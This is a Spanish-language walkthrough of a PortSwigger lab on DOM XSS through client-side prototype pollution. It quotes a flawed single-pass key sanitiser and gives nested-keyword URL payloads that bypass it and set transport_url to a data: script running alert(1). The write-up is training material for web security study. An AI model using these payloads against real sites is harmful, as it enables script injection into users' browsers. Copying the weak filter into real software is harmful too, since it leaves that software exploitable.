
Descripción
This lab is vulnerable to DOM XSS via client-side prototype pollution. Although the developers have implemented measures to prevent prototype pollution, these can be easily bypassed.
To solve the lab:
- Find a source that you can use to add arbitrary properties to the global
Object.prototype
. - Identify a gadget property that allows you to execute arbitrary JavaScript.
- Combine these to call
alert()
.
Client-side prototype pollution via flawed sanitization writeup
Este laboratorio es muy similar al anterior (DOM XSS via client-side prototype pollution). Realizaremos este laboratorio de forma manual, dividiéndolo en varios pasos:
Encontrar cómo hacer el prototype pollution
Esta vez el laboratorio tendrá el siguiente archivo ‘deparamSanitised.js’, cuyo fragmento de código más importante es:
if ( /\[/.test( keys[0] ) && /\]$/.test( keys[ keys_last ] ) ) {
keys[ keys_last ] = keys[ keys_last ].replace( /\]$/, '' );
keys = keys.shift().split('[').concat( keys );
keys_last = keys.length - 1;
} else {
keys_last = 0;
}
Que se encarga de borrar los ‘[‘ y ‘]’.
También tiene código que se encarga de borrar ‘proto’, ‘prototype’ y ‘constructor’ en ‘searchLoggerFiltered.js’:
function sanitizeKey(key) {
let badProperties = ['constructor','__proto__','prototype'];
for(let badProperty of badProperties) {
key = key.replaceAll(badProperty, '');
}
return key;
}
En la URL insertaremos el siguiente código (el de los anteriores laboratorios no funcionarán):
/?constconstructorructor[protoprototypetype][test]=valortest
Para añadir al objeto __proto__ el atributo ‘test’ con el valor ‘valortest’. Si al acceder llamamos al objeto ‘Object.prototype’, veremos que lo hemos inyectado correctamente:

Encontrar qué propiedad modificar
Exploraremos el JavaScript de la página, en el archivo ‘searchLoggerAlternative.js’ existe el siguiente código:
async function searchLogger() {
let config = {params: deparam(new URL(location).searchParams.toString())};
if(config.transport_url) {
let script = document.createElement('script');
script.src = config.transport_url;
document.body.appendChild(script);
}
if(config.params && config.params.search) {
await logQuery('/logger', config.params);
}
}
Este código tomará del objeto ‘config’ la propiedad ‘transport_url’ y, si existe, creará una etiqueta HTML ‘<script>’ con la fuente ‘src’ definida como el valor de ‘transport_url’.
Inyectar el código
Añadiremos a la URL el siguiente fragmento:
/?constconstructorructor[protoprototypetype][transport_url]=data:,alert(1);
Haciendo que se cree el siguiente código HTML en la página:
<script src="data:,alert(1);"></script>
La función de este código es la siguiente:
- <script>: Define un script.
- src=»Tipo MIME: codificación, valor»: Define el código fuente del script.
- data: Indica que el fragmento a continuación son datos incrustados, no una URI.
- codificación: Vacío, puesto que es opcional.
- valor: alert(1);.
- </script>: Cierra el script.
Al acceder a la URL completaremos el laboratorio:
Nota: También se puede usar ‘/?__pro__proto__to__[transport_url]=data:,alert(1);
‘, que es la solución ofrecida por PortSwigger.
